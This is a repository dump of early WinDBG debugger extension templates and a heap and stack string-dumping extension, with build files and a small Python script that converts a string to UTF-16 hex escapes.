1 | #!/usr/bin/python 2 | import sys 3 | 4 | if len(sys.argv) != 2: 5 | print "usage: %s " % sys.argv[0] 6 | sys.exit(0) 7 | 8 | buf=eval('"%s"'%(sys.argv[1].replace('"','\\"'),)) 9 | 10 | 11 | a = unicode(buf,'utf-8') 12 | b = a.encode('utf-16')[2:] #the "2:" skips over the BOM (Byte order Marking) 13 | hexa = ''.join(["\\x%02X"%ord(x) for x in b]) 14 | print hexa 15 | -------------------------------------------------------------------------------- /windbg_extensions/.xvpics/ntsdextsdll_useskernel32.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/.xvpics/ntsdextsdll_useskernel32.jpg -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : ext_test Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this ext_test application for you. 6 | This file contains a summary of what you will find in each of the files that 7 | make up your ext_test application. 8 | 9 | 10 | ext_test.vcproj 11 | This is the main project file for VC++ projects generated using an Application Wizard. 12 | It contains information about the version of Visual C++ that generated the file, and 13 | information about the platforms, configurations, and project features selected with the 14 | Application Wizard. 15 | 16 | ext_test.cpp 17 | This is the main application source file. 18 | 19 | ///////////////////////////////////////////////////////////////////////////// 20 | Other standard files: 21 | 22 | StdAfx.h, StdAfx.cpp 23 | These files are used to build a precompiled header (PCH) file 24 | named ext_test.pch and a precompiled types file named StdAfx.obj. 25 | 26 | ///////////////////////////////////////////////////////////////////////////// 27 | Other notes: 28 | 29 | AppWizard uses "TODO:" comments to indicate parts of the source code you 30 | should add to or customize. 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/ext_test.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/ext_test.ncb -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/ext_test.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 8.00 2 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_test", "ext_test.vcproj", "{3E570B68-F222-426C-9D1C-B51090442985}" 3 | ProjectSection(ProjectDependencies) = postProject 4 | EndProjectSection 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfiguration) = preSolution 8 | Debug = Debug 9 | Release = Release 10 | EndGlobalSection 11 | GlobalSection(ProjectConfiguration) = postSolution 12 | {3E570B68-F222-426C-9D1C-B51090442985}.Debug.ActiveCfg = Debug|Win32 13 | {3E570B68-F222-426C-9D1C-B51090442985}.Debug.Build.0 = Debug|Win32 14 | {3E570B68-F222-426C-9D1C-B51090442985}.Release.ActiveCfg = Release|Win32 15 | {3E570B68-F222-426C-9D1C-B51090442985}.Release.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(ExtensibilityGlobals) = postSolution 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityAddIns) = postSolution 20 | EndGlobalSection 21 | EndGlobal 22 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/ext_test.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/ext_test.suo -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/ext_test.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 11 | 12 | 13 | 19 | 30 | 32 | 40 | 42 | 44 | 46 | 48 | 50 | 52 | 54 | 56 | 58 | 60 | 61 | 67 | 75 | 77 | 86 | 88 | 90 | 92 | 94 | 96 | 98 | 100 | 102 | 104 | 106 | 107 | 108 | 109 | 110 | 111 | 115 | 117 | 118 | 120 | 122 | 125 | 126 | 128 | 131 | 132 | 133 | 134 | 138 | 140 | 141 | 142 | 146 | 147 | 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.cpp: -------------------------------------------------------------------------------- 1 | // sdbg.cpp : an attempt at a WinDBG extension. 2 | // My first windows program EVAR! Stephen 12Nov2004 3 | // Props to Lawler for help with the windowsisms. 4 | // Props to Mike for his emotional support. 5 | // 6 | // Buildin' this thing commandline stylez: 7 | // 1. run vcvars32.bat to set ENV 8 | // 2. cl sdbg.cpp /IC:\WINDDK\2600.1106\inc\w2k /c 9 | // 3. link /dll /def:sdbg.def sdbg.obj <--- my .def is below DONT EXCLUDE /DLL 10 | // 4. peview sdbg.dll <----- like "nm" to check that all the shit we wanted exported, was done properly in the Address Table in .rdata 11 | 12 | //My .def looked like this: 13 | //LIBRARY "sdbg.dll" 14 | // 15 | //EXPORTS 16 | // WinDbgExtensionDllInit 17 | // ExtensionApiVersion 18 | // satori 19 | // satorihelp 20 | 21 | // Inside windbg load the module with !load sdbg.dll in the command window 22 | // then try one of our functions !satorihelp and !satori 23 | 24 | #define _WIN32_WINNT 0x500 //directive for CL to get all its OS-specific shit 25 | #include //CL is dumb it needs to know *EVERYTHING*. 26 | #include 27 | #include "wdbgexts.h" //WinDBG API. 28 | #include "ntsdexts.h" //If you are looking for documentation on the DDK debug APIs, this is prolly the best place to start. 29 | //Depending the version of your DDK, functions exported by the WinDBG APIs might be also in windbgexts.h 30 | 31 | //This is the Global struct for versioning 32 | //EXT_API_VERSION declared in wdbgexts.h 33 | EXT_API_VERSION g_ExtApiVersion = { 34 | 5, 35 | 5, 36 | EXT_API_VERSION_NUMBER, 37 | 0 38 | }; 39 | 40 | extern "C" LPEXT_API_VERSION WDBGAPI ExtensionApiVersion(void) //Any functions exported get __declspec(dllexport) a directive for CL to flag function for linker 41 | // purpose: WinDBG calls this function to get the version of our API 42 | // params: void 43 | // returns: pointer to EXT_API_VERSION struct 44 | { 45 | return &g_ExtApiVersion; 46 | }; 47 | 48 | 49 | extern "C" VOID WDBGAPI WinDbgExtensionDllInit (PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion) 50 | //purpose: WinDBG calls this function to initialize our API 51 | //params: pointer to API functions, Major Version, Minor Version 52 | //returns: nan demo nai 53 | { 54 | ExtensionApis = *lpExtensionApis; 55 | }; 56 | 57 | //Global Variable Needed for Functions 58 | WINDBG_EXTENSION_APIS ExtensionApis = {0}; 59 | 60 | 61 | //The DECLARE_API is defined in ntsdexts.h but CL was bitching about not finding the DEFINE in our headers 62 | //so we cut and pasted it here to get it to shutup. 63 | #undef DECLARE_API 64 | #define DECLARE_API(s) \ 65 | CPPMOD VOID \ 66 | s( \ 67 | HANDLE hCurrentProcess, \ 68 | HANDLE hCurrentThread, \ 69 | ULONG dwCurrentPc, \ 70 | ULONG dwProcessor, \ 71 | PCSTR args \ 72 | ) 73 | 74 | DECLARE_API (satorihelp) 75 | //!satorihelp 76 | //purpose: WinDBG will call this function in our API when the user types !satorihelp 77 | //params: nan demo nai 78 | //returns: nan demo nai 79 | { 80 | dprintf("Our test Debug Extension. YAY!\n\n"); 81 | dprintf("The contents of our \"Help Page\" would go here!\n"); 82 | }; 83 | 84 | 85 | DECLARE_API (satori) 86 | //!satori 87 | //purpose: WinDBG will call this function in our API when the user types !satori 88 | //params: We can accept params but we arent gonna do that shit yet cuz this might not even work. 89 | //returns: are you fucking kidding!? did you read the line above? 90 | { 91 | dprintf ("\nWe are actually inside our function now, YAY!\n"); 92 | }; 93 | 94 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.cpp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ../xanadu/win_misc/windbg_extension/ext_test/sdbg.cpp 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | // sdbg.cpp : an attempt at a WinDBG extension.
13 | // My first windows program EVAR! Stephen 12Nov2004
14 | // Props to Lawler for help with the windowsisms.
15 | // Promps to Mike for his emotional support.
16 | //
17 | // Buildin' this shit commandline stylez:
18 | // 1. run vcvars32.bat to set ENV
19 | // 2. cl sdbg.cpp /IC:\WINDDK\2600.1106\inc\w2k /c
20 | // 3. link /dll /def:sdbg.def sdbg.obj  <--- my .def is below DONT EXCLUDE /DLL 
21 | // 4. peview sdbg.dll  <----- like "nm" to check that all the shit we wanted exported, was done properly in the Address Table in .rdata 
22 |
23 | //My .def looked like this:
24 | //LIBRARY "sdbg.dll"
25 | //
26 | //EXPORTS
27 | //      WinDbgExtensionDllInit
28 | //      ExtensionApiVersion
29 | //      satori
30 | //      satorihelp
31 |
32 | // Inside windbg load the module with !load <PATH>sdbg.dll in the command window
33 |
34 | #define _WIN32_WINNT 0x500 //directive for CL to get all its OS-specific shit
35 | #include <windows.h> //CL is dumb it needs to know *EVERYTHING*.
36 | #include <winnt.h> 
37 | #include "wdbgexts.h" //WinDBG API shit.
38 | #include "ntsdexts.h" //If you are looking for documentation on the DDK debug APIs, this is prolly the best place to start.
39 |                                           //Depending the version of your DDK, functions exported by the WinDBG APIs might be also in windbgexts.h
40 |
41 | //This is the Global struct for versioning
42 | //EXT_API_VERSION declared in wdbgexts.h
43 | EXT_API_VERSION g_ExtApiVersion = {
44 |                 5,
45 |                 5,
46 |                 EXT_API_VERSION_NUMBER,
47 |                 0
48 | };
49 |
50 | extern "C" LPEXT_API_VERSION WDBGAPI ExtensionApiVersion(void//Any functions exported get __declspec(dllexport) a directive for CL to flag function for linker
51 | // purpose: WinDBG calls this function to get the version of our API
52 | // params: void
53 | // returns: pointer to EXT_API_VERSION struct
54 | {
55 |         return &g_ExtApiVersion;
56 | };
57 |
58 |
59 | extern "C" VOID WDBGAPI WinDbgExtensionDllInit (PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion) 
60 | //purpose: WinDBG calls this function to initialize our API
61 | //params: pointer to API functions, Major Version, Minor Version
62 | //returns: nan demo nai
63 | {
64 |         ExtensionApis = *lpExtensionApis;
65 | };
66 |
67 | //Global Variable Needed for Functions
68 | WINDBG_EXTENSION_APIS ExtensionApis = {0};
69 |
70 |
71 | //The DECLARE_API is defined in ntsdexts.h but CL was bitching about not finding the DEFINE in our headers
72 | //so we cut and pasted it here to get it to shut-the-mutherfuck-up.
73 | #undef DECLARE_API
74 | #define DECLARE_API(s) \
75 |     CPPMOD VOID                                    \
76 |     s(                                             \
77 |         HANDLE                 hCurrentProcess,    \
78 |         HANDLE                 hCurrentThread,     \
79 |         ULONG                  dwCurrentPc,        \
80 |         ULONG                  dwProcessor,        \
81 |         PCSTR                  args                \
82 |      )
83 |
84 | DECLARE_API (satorihelp) 
85 | //!satorihelp
86 | //purpose: WinDBG will call this function in our API when the user types !satorihelp
87 | //params: nan demo nai
88 | //returns: nan demo nai
89 | {
90 |         dprintf("Our test Debug Extension. YAY!\n\n");
91 |         dprintf("The contents of our \"Help Page\" would go here!\n");
92 | };
93 |
94 |
95 | DECLARE_API (satori) 
96 | //!satori
97 | //purpose: WinDBG will call this function in our API when the user types !satori
98 | //params: We can accept params but we arent gonna do that shit yet cuz this might not even work.
99 | //returns: are you fucking kidding!? did you read the line above?
100 | {
101 |         dprintf ("\nWe are actually inside our function now, YAY!\n");
102 | };
103 |
104 |
105 | 106 | 107 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.def: -------------------------------------------------------------------------------- 1 | LIBRARY "sdbg.dll" 2 | 3 | EXPORTS 4 | WinDbgExtensionDllInit 5 | ExtensionApiVersion 6 | satori 7 | satorihelp 8 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/sdbg.dll -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/sdbg.exp -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/sdbg.lib -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/sdbg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/1st_windbgplugin/sdbg.obj -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ext_test.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /windbg_extensions/1st_windbgplugin/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | 9 | #include 10 | #include 11 | 12 | // TODO: reference additional headers your program requires here 13 | -------------------------------------------------------------------------------- /windbg_extensions/README.md: -------------------------------------------------------------------------------- 1 | Write your own WinDBG Extension 2 | ====== 3 | 4 | This is template code and example code for skeletal WindowsDBG extensions. 5 | It also has an old archived version of the DebugExts documentation CHM. 6 | 7 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Debug/BuildLog.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
 7 | 
8 | Build Log 9 |
  
10 | 

------- Build started: Project: heap_thing, Configuration: Debug|Win32 ------- 11 |

12 |
13 | Command Lines 14 |
  
Creating temporary file "f:\win_misc\windbg_extension\heap_thing\Debug\RSP000002.rsp" with contents
15 | [
16 | /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Gm /EHsc /RTC1 /MLd /Yu"stdafx.h" /Fp"Debug/heap_thing.pch" /Fo"Debug/" /Fd"Debug/vc70.pdb" /W3 /c /Wp64 /ZI /TP
17 | .\heap_thing.cpp
18 | ]
19 | Creating command line "cl.exe @f:\win_misc\windbg_extension\heap_thing\Debug\RSP000002.rsp /nologo"
20 | 
21 | Output Window 22 |
  
Compiling...
23 | heap_thing.cpp
24 | f:\win_misc\windbg_extension\heap_thing\heap_thing.cpp(137) : fatal error C1010: unexpected end of file while looking for precompiled header directive
25 | 
26 | Results 27 |
  
28 | Build log was saved at "file://f:\win_misc\windbg_extension\heap_thing\Debug\BuildLog.htm"
29 | heap_thing - 1 error(s), 0 warning(s)
30 |
-------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Debug/heap_thing.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/Debug/heap_thing.pch -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Debug/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/Debug/stdafx.obj -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Debug/vc70.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/Debug/vc70.idb -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Debug/vc70.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/Debug/vc70.pdb -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/Make.bat: -------------------------------------------------------------------------------- 1 | cl heap_thing.cpp /IC:\WINDDK\2600.1106\inc\w2k /c 2 | link /dll /def:heap_thing.def heap_thing.obj 3 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : heap_thing Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this heap_thing application for you. 6 | This file contains a summary of what you will find in each of the files that 7 | make up your heap_thing application. 8 | 9 | 10 | heap_thing.vcproj 11 | This is the main project file for VC++ projects generated using an Application Wizard. 12 | It contains information about the version of Visual C++ that generated the file, and 13 | information about the platforms, configurations, and project features selected with the 14 | Application Wizard. 15 | 16 | heap_thing.cpp 17 | This is the main application source file. 18 | 19 | ///////////////////////////////////////////////////////////////////////////// 20 | Other standard files: 21 | 22 | StdAfx.h, StdAfx.cpp 23 | These files are used to build a precompiled header (PCH) file 24 | named heap_thing.pch and a precompiled types file named StdAfx.obj. 25 | 26 | ///////////////////////////////////////////////////////////////////////////// 27 | Other notes: 28 | 29 | AppWizard uses "TODO:" comments to indicate parts of the source code you 30 | should add to or customize. 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.cpp: -------------------------------------------------------------------------------- 1 | //.def 2 | //LIBRARY "sdbg.dll" 3 | // 4 | //EXPORTS 5 | // WinDbgExtensionDllInit 6 | // ExtensionApiVersion 7 | // satori 8 | // satorihelp 9 | 10 | #define PEB_LOC (0x7ffdf000) //this was obtained by looking at PEB entry in any processes !teb for this platform, maybe soon this will 11 | //actually get it from kernel or something or wherever its normally stored, right now its hardcoded. 12 | #define NUM_HEAPS_PEB_OFFSET (0x088) 13 | #define HEAP_HANDLE_PEB_OFFSET (0x090) 14 | #define THREAD_OFFSET_FROM_PEB (0x1000) 15 | #define TEB_FS_SELF (0x18) 16 | #define TEB_STACK_BASE (0x04) 17 | #define TEB_STACK_LIMIT (0x08) 18 | 19 | #define _WIN32_WINNT 0x500 20 | #include 21 | #include 22 | #include "wdbgexts.h" 23 | #include "ntsdexts.h" 24 | 25 | //This is the Global struct for versioning: 26 | //EXT_API_VERSION declared in wdbgexts.h 27 | EXT_API_VERSION g_ExtApiVersion = { 28 | 5, 29 | 5, 30 | EXT_API_VERSION_NUMBER, 31 | 0 32 | }; 33 | 34 | extern "C" LPEXT_API_VERSION WDBGAPI ExtensionApiVersion(void) 35 | { 36 | return &g_ExtApiVersion; 37 | }; 38 | 39 | 40 | extern "C" VOID WDBGAPI WinDbgExtensionDllInit (PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion) 41 | { 42 | ExtensionApis = *lpExtensionApis; 43 | }; 44 | 45 | //Global Variable Needed for Functions 46 | WINDBG_EXTENSION_APIS ExtensionApis = {0}; 47 | 48 | 49 | //The DECLARE_API is defined in ntsdexts.h but CL was bitching about not finding the DEFINE in our headers 50 | //so we cut and pasted it here to get it to shutup. 51 | #undef DECLARE_API 52 | #define DECLARE_API(s) \ 53 | CPPMOD VOID \ 54 | s( \ 55 | HANDLE hCurrentProcess, \ 56 | HANDLE hCurrentThread, \ 57 | ULONG dwCurrentPc, \ 58 | ULONG dwProcessor, \ 59 | PCSTR args \ 60 | ) 61 | 62 | DECLARE_API (countheaps) 63 | { 64 | ULONG num_heaps, bytes_transferred; 65 | int index; bool retval = TRUE; 66 | dprintf("Attempting to access PEB at: 0x%x ...", PEB_LOC); 67 | ReadMemory(PEB_LOC+NUM_HEAPS_PEB_OFFSET, &num_heaps, sizeof(num_heaps), &bytes_transferred); 68 | if (retval == FALSE) { 69 | dprintf("...failure!\n"); 70 | } else { 71 | dprintf ("...success! Read %d bytes.\nI found %x heap segments.\n", sizeof(num_heaps), num_heaps); 72 | for (index = 0; index < num_heaps; index++) { 73 | dprintf("%d-", num_heaps); 74 | }; 75 | 76 | }; 77 | 78 | }; 79 | 80 | DECLARE_API (stack) { 81 | ULONG StackBase, StackLimit, addr_self, bytes_transferred; 82 | int index; bool retval = TRUE; 83 | 84 | ReadMemory(PEB_LOC, &addr_self, sizeof(addr_self), &bytes_transferred); //just a test 85 | if (retval == FALSE) { 86 | dprintf("...failure!\n"); 87 | } else { 88 | for (index = 1; index <= 3; index++) { 89 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_FS_SELF), &addr_self, sizeof(addr_self), &bytes_transferred); 90 | if ((PEB_LOC-(THREAD_OFFSET_FROM_PEB * index)) == addr_self) { 91 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_STACK_BASE), &StackBase, sizeof(StackBase), 92 | &bytes_transferred); 93 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_STACK_LIMIT), &StackLimit, sizeof(StackLimit), &bytes_transferred); 94 | dprintf("%d: %x - %x\n", index, StackBase, StackLimit); 95 | }; 96 | }; 97 | }; 98 | 99 | }; 100 | 101 | DECLARE_API (findp2p) { 102 | ULONG start, end; 103 | start = GetExpression(args); end = GetExpression(args[1]); 104 | dprintf("\nStarting at: %x Ending at: %x", start, end); 105 | }; 106 | 107 | DECLARE_API (dumpheapstrings) { 108 | dprintf("\nUnimplemented!"); 109 | }; 110 | 111 | DECLARE_API (dumpstackstrings) 112 | //purpose: Getting arguements to our command on teh windbg commmandline 113 | // ripped from: http://www.codeproject.com/debug/cdbntsd4.asp 114 | //we could cheat and use WinDBG's data structures, but we are leet and find the stacks of each 115 | //thread ourselves. 116 | //params: 117 | //returns: 118 | 119 | // BUG: going past StackLimit in search... needs to be fixed 120 | { 121 | static ULONG Address = 0; 122 | ULONG StackBase, StackLimit, GetAddress = 0, StringAddress, Index = 0, Bytes, addr_self, bytes_transferred; 123 | WCHAR MyString[51] = {0}; //plus \0 124 | int index; bool retval = TRUE; 125 | 126 | if(GetAddress != 0){ 127 | Address = GetAddress; 128 | }; 129 | GetAddress = GetExpression(args); 130 | 131 | dprintf("Assuming PEB is at 0x%x", PEB_LOC); 132 | ReadMemory(PEB_LOC, &addr_self, sizeof(addr_self), &bytes_transferred); //just a test 133 | if (retval == FALSE) { 134 | dprintf("...failure!\n"); 135 | } else { 136 | for (index = 1; index <= 3; index++) { 137 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_FS_SELF), &addr_self, sizeof(addr_self), &bytes_transferred); 138 | if ((PEB_LOC-(THREAD_OFFSET_FROM_PEB * index)) == addr_self) { 139 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_STACK_BASE), &StackBase, sizeof(StackBase), &bytes_transferred); 140 | ReadMemory(PEB_LOC-((THREAD_OFFSET_FROM_PEB * index)-TEB_STACK_LIMIT), &StackLimit, sizeof(StackLimit), &bytes_transferred); 141 | dprintf("\nTEB's self matches thread base! Valid thread found at: %x \nSearching its stack at (%x - %x)\n", PEB_LOC-(THREAD_OFFSET_FROM_PEB * index), StackBase, StackLimit); 142 | for(Index = 0; Index < StackLimit; Index+=4) { 143 | memset(MyString, 0, sizeof(MyString)); 144 | Bytes = 0; 145 | ReadMemory(StackBase - Index, &StringAddress, sizeof(StringAddress), &Bytes); //- Index cuz stack grows down 146 | if(Bytes) { 147 | Bytes = 0; 148 | ReadMemory(StringAddress, MyString, sizeof(MyString) - 2, &Bytes); 149 | if(Bytes) { 150 | dprintf("%08x : %08x = (UNICODE) \"%ws\"\n", 151 | StackBase - Index, StringAddress, MyString); 152 | dprintf("%08x : %08x = (ANSI) \"%s\"\n", 153 | StackBase - Index, StringAddress, MyString); 154 | } else { 155 | // dprintf("%08x : %08x = Address Not Valid\n", 156 | // Address + Index, StringAddress); 157 | } 158 | } else { 159 | //dprintf("%08x : Address Not Valid\n", Address + Index); 160 | } 161 | } 162 | }; 163 | }; 164 | }; 165 | }; 166 | 167 | void printusage() { 168 | dprintf ("\n!helpme findstrings //Helps find strings between addresses A and B"); 169 | 170 | }; 171 | 172 | DECLARE_API (helpme) { 173 | dprintf("%s", args); 174 | }; 175 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.d: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.d -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | WinDbgExtensionDllInit 3 | ExtensionApiVersion 4 | countheaps 5 | dumpstackstrings 6 | dumpheapstrings 7 | findp2p 8 | stack 9 | helpme 10 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.dll -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.exp -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.lib -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.ncb -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.obj -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 8.00 2 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "heap_thing", "heap_thing.vcproj", "{91F3DA78-A982-4FAF-8AAA-E3936A4761A7}" 3 | ProjectSection(ProjectDependencies) = postProject 4 | EndProjectSection 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfiguration) = preSolution 8 | Debug = Debug 9 | Release = Release 10 | EndGlobalSection 11 | GlobalSection(ProjectConfiguration) = postSolution 12 | {91F3DA78-A982-4FAF-8AAA-E3936A4761A7}.Debug.ActiveCfg = Debug|Win32 13 | {91F3DA78-A982-4FAF-8AAA-E3936A4761A7}.Debug.Build.0 = Debug|Win32 14 | {91F3DA78-A982-4FAF-8AAA-E3936A4761A7}.Release.ActiveCfg = Release|Win32 15 | {91F3DA78-A982-4FAF-8AAA-E3936A4761A7}.Release.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(ExtensibilityGlobals) = postSolution 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityAddIns) = postSolution 20 | EndGlobalSection 21 | EndGlobal 22 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/Sa7heap/heap_thing.suo -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/heap_thing.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 11 | 12 | 13 | 19 | 30 | 32 | 40 | 42 | 44 | 46 | 48 | 50 | 52 | 54 | 56 | 58 | 60 | 61 | 67 | 75 | 77 | 86 | 88 | 90 | 92 | 94 | 96 | 98 | 100 | 102 | 104 | 106 | 107 | 108 | 109 | 110 | 111 | 115 | 117 | 118 | 120 | 122 | 125 | 126 | 128 | 131 | 132 | 133 | 134 | 138 | 140 | 141 | 142 | 146 | 147 | 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // heap_thing.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /windbg_extensions/Sa7heap/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | 9 | #include 10 | #include 11 | 12 | // TODO: reference additional headers your program requires here 13 | -------------------------------------------------------------------------------- /windbg_extensions/ntsdextsdll_useskernel32.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/ntsdextsdll_useskernel32.jpg -------------------------------------------------------------------------------- /windbg_extensions/windbg_extension_docs/debugext.chi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/windbg_extension_docs/debugext.chi -------------------------------------------------------------------------------- 